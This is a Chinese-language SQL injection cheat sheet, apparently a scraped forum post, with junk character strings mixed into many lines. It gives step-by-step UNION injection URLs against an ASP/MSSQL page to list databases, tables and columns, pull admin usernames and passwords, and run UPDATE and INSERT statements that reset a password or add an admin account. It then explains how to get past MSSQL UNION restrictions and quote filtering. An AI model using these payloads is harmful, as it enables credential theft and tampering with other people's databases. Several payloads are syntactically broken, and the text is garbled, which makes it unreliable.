爆库:6 H+ Y; E' `; n0 q" t H8 G7 H
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--6 F% m" l8 K1 W6 X
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.! `! a# m' @1 X! C& W6 V* H6 Z, X
爆下一个库:
" i! ]: y( @6 H c. ]http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--( G8 U5 ~1 j% `
6 ?7 J( j) c1 J9 s爆表:
, e: v8 k2 ?( l& Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
8 ~: S1 C$ C F5 K: k3 \5 _/ Q, @# D- e* C/ _1 A2 {
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
8 }& O+ W+ m# D9 v
# j% ?4 j' a( m: x( G( I- x/ P1 p( _8 Z爆下一个表
2 A/ n0 R. E& x9 |http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--; r/ }5 K4 l9 g% q3 M; G
* T: \- Q5 ~' K) }* C" `http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
) @# m4 _" Q! T& O! r9 A0 h: g4 v4 ~) E0 I0 B
7 i4 F; M3 B9 U+ |5 }. l4 ?: [
9 t4 c: k8 {) p7 l: w爆字段:
0 y) y+ B- g/ p6 J( Y- bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--( `; J4 f) ^& H' W
1 H7 n/ J" j6 N9 x/ g爆下一个字段
9 m0 q" y1 v) V( O( q# A' phttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--4 X+ {( r* A3 }% m6 J2 r4 z2 i2 c
& f, u4 k7 F3 E$ _/ |http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
7 o( v! m* n; E& X6 S% \# D6 x: b6 b5 ^) O
4 }% g( a, J8 C5 L爆字段里的内容) P: p6 ?3 ^" l, Q, S
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
7 k8 Z: P, W' k- f& x' p9 W. M5 b7 E4 s% e8 ]5 D) \: l. o3 A
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
2 u; ^5 Z8 {. P0 j- w N3 U% J' c) b8 [& S
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--$ E( F- G* n2 I% L8 w: I8 V. c# B
F# i# r3 D ]# H$ phttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--& ]3 t; m- J: D7 N
5 W! ]* n- s9 m: w% ~' c
更新字段里的内容
& O6 r% V* M' V/ w& ~8 ehttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
7 r8 O2 q1 h# A
+ d$ }+ R2 q4 {) z# Fhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--2 p Z$ G$ P+ V2 Y3 J4 v& h
* m" t3 _# r- x: O+ ?$ T- T2 N
( j3 e: Z2 y8 f/ k2 ], w- {6 \; S* |/ E1 K" ?6 }
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
/ ~7 t5 [7 K$ n; g9 T9 Q 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
9 n. I7 m1 ^" M, y7 p& C6 P2 R 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。+ R! k, B' l/ m" [* B- }* x
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
/ ^5 O* m8 O. v8 M0 f6 F* K, [, @) l# P; f" U
突了了大部份限制的语句2 m4 b; W) @4 q( M
and 1=2 union all select char(49),char(50),null,null;--
) ~+ b/ D. `1 ?6 q+ Z& M8 i" ?* Q( L4 ]
Z B. O8 `" b
null也可以正常执行,不过没有回显,不好判断回显的列数。
7 M }* K- X! m+ U, I( S6 A* J一般union遇到问题都是有text或者ntext字段,image的很少遇到
0 Z7 c9 C7 B5 B9 y# z1 c: I- n- |7 j' r( C: x. j# [6 g7 ] B5 s
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟8 }) }4 @. P' U7 H7 F) [( m& d
& i6 j( Z x/ N2 s4 {; w$ e9 i0 Y! h! ]1 `* F+ S
|